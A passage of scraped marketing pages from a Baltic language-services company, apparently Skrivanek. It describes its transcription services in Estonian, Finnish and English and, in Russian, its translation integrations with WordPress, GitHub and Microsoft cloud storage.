salvestatud veebiloengu või intervjuu vajalikku osa, kuid transkriptsiooni puhul saate tekstitöötlusprogrammi otsingufunktsiooni abil leida iga märksõna, mille käsitsi otsimine heli- või videofailist võtaks väga kaua aega. Salvestuste transkriptsioonid lihtsustavad kõnede arhiveerimist või teabe otsimist heli- ja/või videofailide arhiivides. Meenutame oma tudengiaastaid – kes tahaks kulutada tunde, kuulates loenguid, kui oleks võimalus seda materjali lihtsalt lugeda? Transkriptsiooniteenuseid kasutavad pidevalt ka ajakirjanikud, kes lisavad intervjuudele subtiitreid – salvestuste automaatne transkribeerimine mitte ainult ei hoia kokku palju tööaega, vaid on oluline ka töö kvaliteedi seisukohast. Kõige sagedamini saadetakse Skrivanekile transkribeerimiseks järgmisi audio- ja/või videosalvestusi: intervjuude salvestused; kõnesõnumid; veebikoolituste, loengute, konverentsiettekannete, paneeldiskussioonide ja ärikohtumiste salvestused; taskuhäälingud (podcast’id), filmid ja telesarjad jne. TRANSKRIPTSIOONITEENUSED KOHTUASJADES Läti ja Euroopa kohtutes paluvad osapooled üha sagedamini kasutada tõenditena vestluste või sündmuste salvestusi, eriti kriminaalasjades, tsiviilasjades ja perekondlikes vaidlustes, mis puudutavad vara jagamist, elatisraha või vanema hooldusõiguse määramist. Iga kohtuasjas tõendina kasutatav heli- ja/või videosalvestus peab teadagi olema vormistatud tekstilise dokumendina, st see, mida kuulete heli- ja/või videosalvestuses, peab olema vormistatud ka teksti kujul ning tavaliselt peab see olema kinnitatud ka ümberkirjutaja allkirjaga. Täielik transkriptsioon nõuab erilist tähelepanu, sest arvesse tuleb võtta iga kuuldavat heli ning kõnelejate intonatsiooni ja tundeväljendusi, mis võivad vaidluses osutuda määravaks, samuti on vaja sellises transkriptsioonis kasutada ajakodeerimist ning tuvastada kõnelejaid. VÕÕRKEELSETE SALVESTISTE TRANSKRIPTSIOON Kuna äri- ja teadusmaailm on rahvusvaheline ja mitmekultuuriline, peetakse tänapäeval enamik koosolekuid ja konverentse võõrkeeles, ettevõtted koostavad oma töötajatele ingliskeelseid videosalvestusi, et neist saaks osa võimalikult suur vaatajaskond. Teadlased kasutavad transkriptsiooniteenuseid toetustaotluste ettevalmistamisel või heli- ja/või videosalvestusi hõlmava teadusliku uurimistöö tegemisel, kuna uuringu tulemusi peab olema lihtne analüüsida ja töödelda. Loomulikult eeldab see hoolikat teenusteturu uurimist ja koostööpartneri valimist! Töö võõrkeelsete salvestistega on eestikeelsetega võrreldes palju keerulisem, sest lisaks täpsusele nõuab see ka kontrolli lähtekeelt valdava isiku poolt, kes vahel lisab ka selgitusi või tõlke eesti keelde. MIKS PEAKS TRANSKRIPTSIOONI TEGEMISE USALDAMA ASJATUNDJATELE? Heli- ja/või videosalvestuse transkriptsioone teevad sellega igapäevaselt tegelevad asjatundlikud spetsialistid, tagades sel viisil, et ülesanne täidetakse täpselt, eesmärgipäraselt ja nõuetekohaselt, mis on eriti oluline, kui transkriptsioon tuleb esitada kohtule. Asjatundjaid tuleks usaldada ka juhul, kui tui transkriptsiooni on kavas kasutada turunduslikel või ärilistel eesmärkidel, aga ka heli- ja/või videosalvestiste puhul, kus on tavaliselt palju tarbetut kordamist, eksimusi, parasiitsõnu ja -väljendeid ning kõnevoo katkestusi, mida transkriptsioon (enamasti! ) sisaldama ei peaks. Professionaalne transkriptsioon ei tähenda ainult iga kuuldud heli ümberkirjutamist tähemärkidena – see hõlmab tervet rida seotud teenuseid, mille kvaliteedi tagamine eeldab kogemusi ja lisaoskusi. Transkriptsiooniteenused on meie üks peamisi erialasid. Toome välja kõige olulisema, milles võite meid transkribeerima palgates kindlad olla: transkriptsioonide kõrge kvaliteet, mis saavutatakse tänu suurepärasele keeleoskusele, kaasaegsele kõnetuvastustehnoloogiale ja mugavatele töötingimustele, mis on transkribeerimisel hädavajalikud; õigekeelsus, täpsus ja tähelepanu pööramine üksikasjadele, et tekstiga oleks rahul ka kõige nõudlikum klient; aja ja energia kokkuhoid, säästes teid sageli väga kurnavast ühe ja sama jutu kuulamisest ning ümberkirjutamisest – Skrivaneki transkribeerijad aitavad meeleldi ka transkribeeritud teksti toimetamise ja korrigeerimisega; tagame lõpliku faili vormistamise teile vajalikus vormingus. Sageli vajatakse subtiitreid näiteks . srt-vormingus. Meie saame hakkama ka selle ülesandega. TASUTA VEEBIS SAADAOLEVATE TRANSKRIPTSIOONIVAHENDITE PUUDUSED Internetist võib leida hulganisti transkriptsioonivahendeid. Loomulikult kujundab tasuta transkriptsiooniprogramm teile tekstifaili, kuid meeles tasuks pidada seda, et tehisintellekt on ikkagi kõigest inimese loodud tarkvara, mis ei suuda teksti toimetada, mõistes konteksti ja emotsioone, ega tuvastada allteksti. Sellepärast ei sobigi tasuta transkriptsioonivahendid kohtuasjades kasutatavate vestluste puhul kasutamiseks ega filmide, telesarjade või veebipõhiste koolituste transkribeerimiseks. Tasuta transkriptsiooniprogramm on väga suureks abiks, kui teil on vaja lihtsalt aru saada, millest heli- ja/või videosalvestises räägitakse. Samuti tasuks tarkvara abil tekstiks teisendatud salvestised alati lasta üle kontrollida asjatundjal, kes viib sisse vajalikud parandused – lõppude lõpuks räägime me harva aeglaselt, selgelt ja ladusalt ning arvutil võib kõnevoos nii mõndagi kaduma minna, on ju tegu lihtsalt masinaga. Lisaks sellele, et tasuta transkriptsioonivahendite võimalused on piiratud, tasub esile tuua ka teisi väljakutseid, millega asjatundlik transkribeerija saab paremini hakkama kui arvutiprogramm: aktsent ja ebatavaline kõne, sealhulgas kõnelemise kiirus – mõned vahendid võimaldavad töötada paljude eri keeltega, kuid sellest ei pruugi piisata, kui heli- ja/või videosalvestis sisaldab vaid teatud piirkondades kasutatavaid kohalikke väljendeid, dialekte ja murdeid või arhailisi sõnu; salvestise helikvaliteet – igasugune taustamüra ja muud ümberkirjutamist mittevajad helid on tarkvara jaoks keerulised, kuna see ei suuda taustahelide ja müra tõttu transkribeerimist vajavaid sõnu õigesti ära tunda; piiratud sõnavara, eriti pärisnimede, fraseoloogia, väljendite ja idioomide osas; vormindamine – automaatne transkriptsioonivahend suudab reprodutseerida heli- ja/või videosalvestuse kõnet ainult kirjaliku tekstina ilma igasuguse toimetamiseta kirjavahemärkide, süntaksi või stilistika osas. Selliseid muudatusi on pärast transkriptsiooni valmimist sisse viia väga keeruline ja aeganõudev, sellepärast teeb asjatundlik transkribeerija vajalikke parandusi tööprotsessi käigus. --- > Skrivanek tarjoaa ammattimaisia transkriptio- ja translitterointipalveluita, jotka muuttavat puhutun tekstin ääni- ja kuvatallenteista kirjoitetuksi tekstiksi +110 kielellä. - Published: 2023-10-31 - Modified: 2024-08-22 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional MITÄ TRANSKRIPTIO/TRANSLITTEROINTI ON? Ääni- ja/tai kuvatallenteiden ammattimainen transkriptio on tallenteella kuullun tekstin (puheen) tarkka jäljentäminen kirjoitetuksi tekstitiedostoksi. Tehokkuuden maksimoimiseksi voidaan usein käyttää kehittynyttä puheentunnistustekniikkaa, jonka avulla voimme tarvittaessa nopeuttaa transkriptioprosessia, vaikka äänitteessä olisi useita puhujia. Tällainen automaattinen transkriptio on oikea valinta, jos ääni on erittäin hyvälaatuista ja helposti ymmärrettävää. Työskentelemme kuitenkin enimmäkseen manuaalisella transkriptiolla, joka pidentää ja mutkistaa työprosessia, mutta takaa laadun. Kun olemme valmiit, saat transkriboidun tekstitiedoston, jota voit käyttää moniin eri tarkoituksiin. MIKSI TYÖSKENNELLÄ SKRIVANEKIN KANSSA? Olemme ammattimainen kielipalveluyritys, joka tunnetaan erinomaisesta asiakaspalvelusta ja laajasta kielipalvelujen valikoimasta. Audio- tai videomateriaalisi ammattitaitoinen transkriptio ja kääntäminen yli 110 kielelle on toimistomme ensisijainen tavoite. Asiakkaat valitsevat Skrivanekin, koska: Työskentelemme yli 100 tiedostomuodon kanssa: Työskentelemme kaikkien ääni- ja videotiedostomuotojen kanssa (kuten sbv, avi, mpg, mp4, wmv, mp3, wav, wma ja muut), joten olipa kyseessä sitten äänen tai videon transkriptio, me autamme sinua! Palvelujen tarjoaminen verkossa: Sinun ei tarvitse mennä minnekään tilataksesi puheen transkription ääni-/videotiedostosta. Otamme vastaan ja toimitamme valmiit työt 100-prosenttisesti verkossa, sähköpostitse tai minkä tahansa haluamasi online-tiedonsiirtoratkaisun kautta pilvipalvelussa, jotta voimme taata tietojesi täydellisen turvallisuuden. Kätevä asiakasportaali: Seuraa kaikkea yhdessä paikassa ja pysy ajan tasalla projektisi edistymisestä käyttäjäystävällisen asiakasportaalimme avulla. Erinomainen palvelu taattu: Työmme laatu todistetaan lukuisilla Kansainvälisen standardisoimisjärjestön (ISO) sertifikaateilla ja tiukoilla käytännesäännöillä. Jos haluat laadukkaan transkriptiopalvelun, olet oikeassa paikassa! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada TRANSKRIPTIOPALVELUIDEN TYYPIT Transkriptiopalveluita on periaatteessa kahdenlaisia: Muokattu transkriptio - nauhoitteella kuultava puhe ei ole vain transkriboitu vaan myös muokattu, eli kirjoitettuun tekstiin ei ole lisätty taukoja puheen kulussa eikä taukoja täyttäviä tarpeettomia ääniä, kuten "ööö", "hmmm", "tota". Myöskään keskeneräisiä sanoja, taustaääniä ei ole transkriboitu, puheen intonaatiovirheet (makronin oikea käyttö) on korjattu, mitä kuulemme usein televisio-ohjelmissa, konferensseissa, julkisissa keskusteluissa, verkkoluennoilla jne. Suosittelemme tätä palvelua, jos puhtaaksikirjoitettu materiaali on tarkoitettu koulutusmateriaaliksi tai markkinointitoimintaan. Täydellinen transkriptio - tarkoittaa, että nauhoitteella kuultava puhe on transkriboitu kokonaisuudessaan ja että kaikki tarpeettomat äänet, puhevirheet ja välihuomautukset on otettu tarkasti huomioon. Tämä transkriptio valitaan silloin, kun transkriboitu tiedosto ja kirjoitettu teksti toimivat todisteena oikeudessa tai oikeusriidassa. MILLOIN TRANSKRIPTIOPALVELUJA TARVITAAN? Transkriptiopalveluista on hyötyä, kun tarvitaan transkriptioita: Oikeudenkäyntejä tai poliisikuulusteluja varten voimme toimittaa myös painetun asiakirjan, joka on varmennettu transkriboinnin tehneen henkilön tai tulkin allekirjoituksella/e-allekirjoituksella; Haastatteluissa sanottujen asioiden puhtaaksikirjoittamiseen; Konferensseissa, verkkoluennoilla ja seminaareissa puhutun puhtaaksikirjoittamiseen ja tekstittämiseen; Internetissä tapahtuvaan markkinointiin ja PR-toimintaan, kuten YouTube-kanavasi aseman parantamiseen Google-hauissa; TV-sarjojen, TV-ohjelmien, elokuvien, radio-ohjelmien jne. transkribointiin ja tekstittämiseen. Transkriptiopalveluita käyttävät laajasti sisällöntuottajat, toimittajat, tutkijat, markkinoijat ja jopa opiskelijat. KUINKA PALJON TRANSKRIPTIOPALVELUT MAKSAVAT? Tähän kysymykseen vastaaminen edellyttää ääni- ja/tai kuvamateriaalin analysointia, jonka aikana projektipäällikkömme arvioivat seuraavia: Työn odotettu määräaika; Ääni- ja/tai kuvatiedoston laatu; Tekstin kokoa koskevat vaatimukset, kuten merkkirajoitukset; Tallennuskielen (-kielten) erityispiirteet; Lisävaatimukset, kuten tarvitseeko transkriptio myös oikolukua, puhujan tunnistamista, aikakoodausta jne. Voit olla varma, että olemme rehellisiä asiakkaillemme, emmekä koskaan aloita projektia ilman kustannusten ja määräaikojen vahvistusta. MIKSI YRITYKSESI HYÖTYISI LAADUKKAISTA TRANSKRIPTIOPALVELUISTA? Sinun on usein analysoitava suuria määriä ääni- ja/tai kuvatallenteita työtehtäviä varten. Verkkoluennon tai -haastattelun oikeaa kohtaa voi olla vaikea löytää tiedon sekamelskasta, mutta transkription ansiosta voit käyttää tekstieditorin hakutoimintoa ja löytää minkä tahansa avainsanan, jonka löytäminen manuaalisesti ääni- tai videotiedostosta kestäisi kauan. Transkriboidut tallenteet helpottavat puheiden arkistointia tai tietojen etsimistä ääni- ja/tai kuva-arkistoista. Ajattele opiskeluvuosiamme: kuka haluaisi käyttää tunteja luentojen kuuntelemiseen, jos ne voisi vain lukea? Toimittajat, jotka tekstitettävät haastatteluja, käyttävät jatkuvasti myös transkriptiopalveluita: nauhoitettujen haastattelujen automaattinen transkriptio säästää paljon aikaa ja on myös olennaisen tärkeää heidän työnsä laadun kannalta. Yleisimmät ääni- ja/tai kuvatallenteet, joita Skrivanek vastaanottaa päivittäin puhtaaksikirjoitettavaksi, ovat: Haastattelutallenteet; Ääniviestit; Verkkotallenteet koulutuksista, luennoilta, konferenssiesityksistä, paneelikeskusteluista, liiketapaamisista; podcastit, elokuvat ja tv-sarjat jne. OIKEUDELLISIIN TARKOITUKSIIN KÄYTETTÄVÄT TRANSKRIPTIOPALVELUT Latvialaisissa ja eurooppalaisissa tuomioistuimissa osapuolet pyytävät yhä useammin keskustelujen tai tapahtumien nauhoitusten hyväksymistä todisteeksi erityisesti rikosoikeudellisissa ja siviilioikeudellisissa asioissa, jotka koskevat omaisuuden jakamista, elatusapua tai vanhempainvaltaa koskevissa perheriidoissa. Kuten hyvin tiedetään, jokaisen todisteena asiassa käytettävän ääni- ja/tai kuvatallenteen on oltava tekstimuotoinen, eli ääni- ja/tai kuvatallenteessa kuullut asiat on esitettävä tekstinä, jonka yleensä allekirjoittaa tallenteen tehnyt henkilö. Tällainen täydellinen transkriptio vaatii erityistä huolellisuutta, koska siinä otetaan huomioon jokainen kuuluva ääni sekä puhujien intonaatio ja tunneilmaisu, joilla voi olla ratkaiseva merkitys kiistassa, ja transkriptiossa on käytettävä aikakoodeja ja tunnistettava puhujat. VIERASKIELISTEN ÄÄNITTEIDEN TRANSKRIPTIO Koska liike-elämä ja tiedemaailma ovat kansainvälisiä ja monikulttuurisia, suurin osa kokouksista ja konferensseista pidetään nykyään vieraalla kielellä, ja yritykset valmistelevat työntekijöilleen englanninkielisiä videotallenteita, jotta mahdollisimman suuri yleisö voi katsella ja kuunnella niitä. Tutkijat käyttävät transkriptiopalveluja valmistellessaan apurahahakemuksia tai tehdessään tieteellistä tutkimusta, johon liittyy työskentelyä ääni- ja/tai kuvatallenteiden parissa, sillä tutkimusaineiston on oltava helposti analysoitavissa ja käsiteltävissä. Tämä edellyttää tietysti huolellista yhteistyökumppanin valintaa ja markkinatutkimusta! Työskentely vieraskielisten tallenteiden kanssa on paljon monimutkaisempaa kuin työskentely latviankielisten tallenteiden kanssa, sillä se edellyttää täydellistä tarkkuutta ja myös lähdekielen taitajan suorittamaa tarkistusta, johon liittyy joskus selityksiä tai käännöksiä latviaksi. MIKSI TRANSKRIPTIOT PITÄISI TEETTÄÄ AMMATTILAISILLA? Ääni- ja/tai kuvatallenteen transkription tekee ammattitaitoinen henkilökunta, joka työskentelee sen parissa päivittäin, mikä takaa, että toimeksianto toteutetaan tarkasti ja sen tarkoituksen ja vaatimusten mukaisesti, mikä on erityisen tärkeää, jos transkriptio on tarkoitus toimittaa tuomioistuimelle. Jos transkriptiota käytetään markkinointi- tai liiketoimintatarkoituksiin, mutta ääni- ja/tai kuvatallenteet sisältävät yleensä tarpeetonta toistoa, uudelleenlauseistusta, ajantäytettä, kirosanoja ja puheen taukoja, joita ei pitäisi (useimmiten! ) sisällyttää transkriptiin. Ammattimaisessa transkriptiossa ei ole kyse vain äänitteen jokaisen äänitetyn äänen toistamisesta kirjaimiksi, vaan kyse on koko joukosta asiaan liittyviä palveluita, jotka edellyttävät kokemusta ja lisätaitoja. Transkriptiopalvelut ovat erikoisalaamme. Tässä ovat tärkeimmät seikat, joista voit olla varma, kun palkkaat meidät tekemään transkriptioita: Laadukkaat transkriptiot erinomaisen kielitaidon, uusimman puheentunnistustekniikan ja miellyttävien työolosuhteiden ansiosta, jotka ovat erittäin tärkeitä puhtaaksikirjoittajan työssä; Kielellinen tarkkuus, täsmällisyys ja yksityiskohtien huomioiminen, jotta vaativimmatkin asiakkaat voivat arvostaa tekstiä; Säästät aikaa ja energiaa usein hyvin väsyttävältä työltä - saman sanan toistuva traskribointi ja kuunteleminen on erittäin vaikeaa; ja Skrivanekin transkriboijat auttavat mielellään transkriboidun tekstin muokkaamisessa ja oikolukemisessa; Voimme tuottaa lopullisen tiedoston haluamassasi muodossa. Hyvin usein tekstitys tarvitaan . srt-muodossa. Voimme hoitaa myös tämän tehtävän. ILMAISTEN ONLINE-TRANSKRIPTIOTYÖKALUJEN HAITAT Internetissä on laaja valikoima transkriptiotyökaluja. Ilmaiset transkriptiotyökalut luovat tietenkin tekstitiedoston puolestasi, mutta muista, että tekoäly on ihmisen tekemä ohjelmisto, eikä se pysty muokkaamaan tekstiä tai ymmärtämään asiayhteyttä, tunteita ja tunnistamaan alatekstejä. Siksi ilmaiset transkriptiotyökalut eivät sovellu keskustelujen transkribointiin oikeudenkäyntejä varten eivätkä elokuvien, televisiosarjojen tai verkkokoulutuskurssien transkriptioon. Ilmaisesta transkriptiotyökalusta on paljon apua, jos haluat vain tunnistaa, mitä ääni- ja/tai kuvatallenteessa sanotaan. On myös muistettava, että ohjelmiston avulla tekstiksi muunnetut tallenteet on aina annettava ammattilaiselle tarkistettavaksi ja korjattavaksi - loppujen lopuksi puhumme harvoin hitaasti, selkeästi ja sujuvasti, ja tietokone voi usein olla huomaamatta puheen kulkua, koska se on vain tietokone. Ilmaisten transkriptiotyökalujen tarjoamien ominaisuuksien rajallisen määrän lisäksi on syytä mainita muita haasteita, jotka ammattimaisten transkriptiopalveluiden käyttäjä voittaa tietokoneohjelmaa paremmin: Korostettu ja epätavallinen puhe, mukaan lukien puheen nopeus - jotkin työkalut tarjoavat mahdollisuuden työskennellä monien eri kielten kanssa, mutta tämä ei välttämättä riitä, jos ääni- ja/tai kuvatallenteeseen sisältyy alueellisia sanoja, joita käytetään rajoitetuilla alueilla, murteita ja murteiden käyttöä tai vanhoja sanoja; Tallenteen äänenlaatu - kaikenlaiset taustaäänet ja muut äänet kuin transkriboitava puhe ovat melkoinen haaste transkriptio-ohjelmistolle, sillä se ei pysty tunnistamaan sanoja oikein taustaäänten ja -kohinoiden vuoksi; Rajallinen sanavarasto, erityisesti erisnimien, idiomien ja ilmaisujen käytön osalta; Muotoilu - automaattinen transkriptiotyökalu voi toistaa ääni- ja/tai kuvanauhoitetun puheen ainoastaan kirjoitettuna tekstinä, ilman muokkauksia - välimerkkejä, syntaksia tai stilisointia. Tällaisten muutosten tekeminen on hyvin vaikeaa ja aikaa vievää, kun transkriptio on valmis, joten ammattimainen puhtaaksikirjoittaja tekee tarvittavat parannukset osana työnkulkua. --- > Skrivanek offers professional transcription and transliteration services, converting spoken text from audio/visual recordings to written text in +110 languages. - Published: 2023-10-30 - Modified: 2025-07-08 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional WHAT IS TRANSCRIPTION/TRANSLITERATION? Professional transcription of audio and/or visual recordings is the accurate reproduction of the text (speech) heard on a recording into a written text file. Often, in order to maximise efficiency, advanced speech recognition technology can be used, which allows us to speed up the transcription process if necessary, even if there are several speakers in the recording. Such automated transcription is the right choice if the audio is of very good quality and easy to understand. However, we mostly work with manual transcription; it prolongs the work process and makes it more complicated but guarantees quality. When we have finished, you will receive the transcribed text file ready to use for a variety of purposes. WHY WORK WITH SKRIVANEK? We are a professional language services company known for our excellent customer service and wide range of language services. Providing professional transcription and text translation of your audio or video material into more than 110 languages is a priority for our agency. Clients choose to work with Skrivanek because: We work with over 100 file formats: We work with all audio and video file formats (such as sbv, avi, mpg, mp4, wmv, mp3, wav, wma and more), so whether you need audio or video transcription, we are here to help! Provision of services online: You do not have to go anywhere to order a transcription of speech from an audio/video file. We accept and deliver completed work 100% online, via e-mail or any online data exchange solution you prefer in the cloud to guarantee the complete security of your data. Convenient customer portal: Keep track of everything in one place and know the progress of your project with our user-friendly customer portal. Excellent service guaranteed: The quality of our work is certified by numerous International Organization for Standardization (ISO) certificates and a strict Code of Conduct. If you want a quality transcription service, you are in the right place! LOOKING FOR TRANSCRIPTION/TRANSLITERATION SERVICES? CONTACT US! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! TYPES OF TRANSCRIPTION SERVICES There are basically two types of transcription services: Edited transcription – the speech you hear on the recording is not only transcribed, but also edited, i. e. , the written text is free of breaks in the speech flow and unnecessary sounds to fill pauses, such as “uhh”, “ummm”, “well”, unfinished words; background noises are also not transcribed, and speech intonation errors (correct use of macron) are corrected, which we often hear in TV programmes, conferences, public debates, online lectures, etc. We recommend this service if the transcribed material is intended for educational material, or marketing activities. Full transcription – means that the speech you hear on the recording is transcribed in full, accurately reflecting all unnecessary sounds, speech errors and interjections. This transcription is chosen when the transcribed file and the written text will serve as evidence in court or in a legal dispute. WHEN ARE TRANSCRIPTION SERVICES NEEDED? Transcription services will be useful when transcripts are needed: As evidence for court hearings or police, we can also produce the transcript as a printed document, certified by the signature/e-signature of the person who made the transcription or an interpreter; For transcribing what is said in interviews; For transcribing what is said in conferences, online lectures and seminars, as well as for subtitling; For marketing and PR activities on the internet, such as a YouTube channel to improve your position on Google search; For transcribing and subtitling TV series, TV shows, films and radio programmes, etc. Transcription services are widely used by content creators, journalists, researchers, marketers and even students. HOW MUCH DO TRANSCRIPTION SERVICES COST? To answer this question, an analysis of the audio and/or visual material must be carried out, during which our project managers assess: The expected deadline for the job; The quality of the audio and/or visual file; The text size requirements, such as character limits; The specifics of the recording language(s); Additional requirements, such as whether the transcript also needs proofreading, speaker identification, timecoding, etc. Rest assured – we are honest with our clients and will never start a project without your confirmation of the costs and deadlines. WHY WOULD YOUR COMPANY BENEFIT FROM HIGH-QUALITY TRANSCRIPTION SERVICES? You often need to analyse large volumes of audio and/or visual recordings for work purposes. It can be difficult to find the right section of an online lecture or interview in the plethora of information, but thanks to transcription you will be able to work with the search function in a text editor to find any key word you need that would take a very long time to find manually in an audio or video file. Transcribed recordings make it easier to archive speeches or search for information in audio and/or visual archives. Think back to our student years: who would want to take the time to listen to hours of lectures if you could just read them? Transcription services are also constantly used by journalists subtitling interviews: automatic transcription of recorded interviews not only saves a lot of time but is also essential for the quality of their work. The most common types of audio and/or visual recordings that Skrivanek receives for transcription on a daily basis are: Interview recordings; Voice messages; Online recordings of training, lectures, conference presentations, panel discussions, and business meetings; podcasts, films and TV series, etc. TRANSCRIPTION SERVICES FOR JUDICIAL PURPOSES In Latvian and European courts, parties are increasingly requesting the admission of recordings of conversations or events as evidence, in particular in criminal cases, civil cases in family disputes concerning the division of property, maintenance or parental authority. As is well known, every audio and/or visual recording used as evidence in a case must be in the form of a textual document, i. e. , what is heard in the audio and/or visual recording must be in the form of a text, usually signed by the person who made the transcript. Such a full transcription requires special care, as it takes into account every audible sound and the speakers’ intonation and expression of emotion, which may play a decisive role in the dispute, and the transcript must use time codes and identify the speakers. TRANSCRIPTION OF FOREIGN LANGUAGE RECORDINGS Given the international and multicultural nature of the business and scientific world, most meetings and conferences nowadays are conducted in a foreign language, and companies prepare video recordings in English for their employees so that they can be viewed and listened to by as wide an audience as possible. Scientists use transcription services to prepare grant applications or to carry out scientific research that involves working with audio and/or visual recordings, as the research material needs to be easy to analyse and process. Of course, this requires careful business partner selection and market research! Working with foreign language recordings is much more complex than working with Latvian language recordings, as it requires not only complete accuracy, but also verification by a person fluent in the source language, sometimes accompanied by explanations or translations into Latvian. WHY SHOULD TRANSCRIPTION BE DONE BY PROFESSIONALS? The transcription of the audio and/or visual recording will be provided by professional agency personnel who work with it on a daily basis, thus guaranteeing that the assignment will be carried out accurately and in line with its intended purpose and requirements, which is particularly important if the transcription is to be submitted to court. It is also critical if the transcript is for marketing or business purposes, but the audio and/or visual recordings usually contain unnecessary repetition, rephrasing, time fillers, expletives and breaks in the flow of speech, which should (most often! ) not be included in the transcript. Professional transcription is not just about reproducing every audible sound on a recording into characters – it is a whole range of related services that require experience and additional skills. Transcription services are our speciality. Here are the most important aspects you can be sure of when hiring us for transcription: High-quality transcripts thanks to excellent language skills, state-of-the-art speech recognition technology and comfortable working conditions, which are of paramount importance in the transcriber’s job; Linguistic accuracy, precision and attention to detail so that even the most demanding client can appreciate the text; Saving time and energy from often very tiring work – transcribing and listening to the same word repeatedly is extremely difficult; and Skrivanek transcribers are happy to help with editing and proofreading the transcribed text; We can produce the final file in the format you need. Very often, subtitles are required in . srt format. We can handle this task as well. DISADVANTAGES OF FREE ONLINE TRANSCRIPTION TOOLS There is a wide range of transcription tools available on the internet. Of course, a free transcription tool will create a text file for you but remember that artificial intelligence is man-made software and cannot modify text or understand context, emotion and identify subtext. Therefore, free transcription tools will not be suitable for transcribing conversations for court purposes, nor for transcribing films, TV series, or online training courses. A free transcription tool is of great help if you just need to identify what is being said in an audio and/or visual recording. It should also be borne in mind that recordings that have been converted into text using software should always be checked by a professional who will make the necessary corrections – after all, we rarely speak slowly, clearly and fluently, and a computer can often miss the flow of speech because it is just a computer. In addition to the limited number of features offered by free transcription tools, it is worth mentioning other challenges that a professional transcriber will overcome better than a computer program: Accented and unusual speech, which includes speed of speech – some tools provide the possibility to work with many different languages, but this may not be enough if the audio and/or visual recording includes regional words used in restricted areas, dialects and dialect usage, or old words; Audibility quality of the recording – any kind of background noises and sounds other than the speech to be transcribed will be quite a challenge for the transcription software as it will not be able to correctly recognise words due to background sounds and noises; Limited vocabulary, especially for the use of proper names, idioms, expressions; Formatting – an automated transcription tool can reproduce audio and/or visual recorded speech in written text only, excluding any editing – punctuation, syntax or stylistics. It is very difficult and time-consuming to make such changes once the transcription is complete, so a professional transcriber makes any necessary improvements as part of the workflow. --- > Новейшие решения в области языковых технологий для экосистемы и интеграции идеально подходят для проектов с большими объемами многоязычного контента. - Published: 2023-10-25 - Modified: 2024-08-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ ЭКОСИСТЕМА ПЕРЕВОДА SKRIVANEK: СОВРЕМЕННЫЕ ИНТЕГРАЦИИ В нынешнюю цифровую эпоху язык тесно связан с технологиями. Процесс перевода и локализации тоже уже немыслим без информационно-технологических решений, а специалисты разных направлений – переводчики, программисты, создатели контента, маркетологи – должны работать в единой цифровой рабочей среде. Новейшие решения в области лингвистических технологий идеально подходят для работы с объемным многоязычным контентом. Распространенные интеграции, которые мы используем ежедневно: WORDPRESS Интеграция средств автоматизированного перевода Skrivanek с WordPress – это современный, удобный и простой способ обеспечить перевод и локализацию содержимого сайта на разные языки без трудоемкой ручной работы. Благодаря сотрудничеству с WPML мы осуществляем даже самые сложные проекты по переводу на любой язык. Сделайте свой сайт доступным для посетителей со всего мира, не меняя привычную среду разработки Wordpress. GITHUB Интеграция технологической среды перевода Skrivanek с GitHub – это возможность не беспокоиться о локализации текста разработанного приложения и сосредоточиться на главном – совершенствовании и кодировании приложения. Мы позаботимся о том, чтобы приложение было доступно на всех целевых языках. Репозиторий находится под постоянным контролем, и все дополнения автоматически передаются в нашу систему перевода. Таким образом вы можете быть уверены, что к моменту публикации приложение будет доступно на всех нужных вам языках. MICROSOFT AZURE Azure – это облачная платформа Microsoft, предоставляющая ресурсы для разработки, управления и публикации приложений. Системы перевода Skrivanek обеспечивают удобное подключение к файловым хранилищам Azure, автоматически загружая и выгружая файлы для перевода. Наши системы перевода способны автоматически обнаруживать даже самые незначительные изменения в онлайн-репозиториях и автоматически подавать файлы в наш собственный рабочий процесс перевода. Таким образом можно забыть о трудоемком обмене информацией посредством электронной почты. Просто загрузите файлы, подлежащие переводу, в онлайн-репозиторий, и мы позаботимся о том, чтобы переведенные файлы в кратчайшие сроки оказались в том же онлайн-репозитории. MICROSOFT ONEDRIVE Microsoft OneDrive – это облачная служба хранения документов. Системы перевода Skrivanek подключаются к OneDrive, что позволяет автоматически загружать файлы для перевода и выгружать готовый перевод непосредственно на рабочий стол вашего компьютера. Таким образом можно забыть о трудоемком обмене информацией посредством электронной почты. Просто загрузите файлы, подлежащие переводу, в онлайн-репозиторий, и мы позаботимся о том, чтобы переведенные файлы в кратчайшие сроки оказались в том же онлайн-репозитории. MICROSOFT SHAREPOINT Microsoft SharePoint – это облачное решение для хранения и совместного использования различных типов файлов. Системы перевода Skrivanek позволяют просто и быстро загружать и выгружать файлы в хранилища SharePoint. Таким образом вы можете быть уверены, что все члены вашей команды получат быстрый и удобный доступ 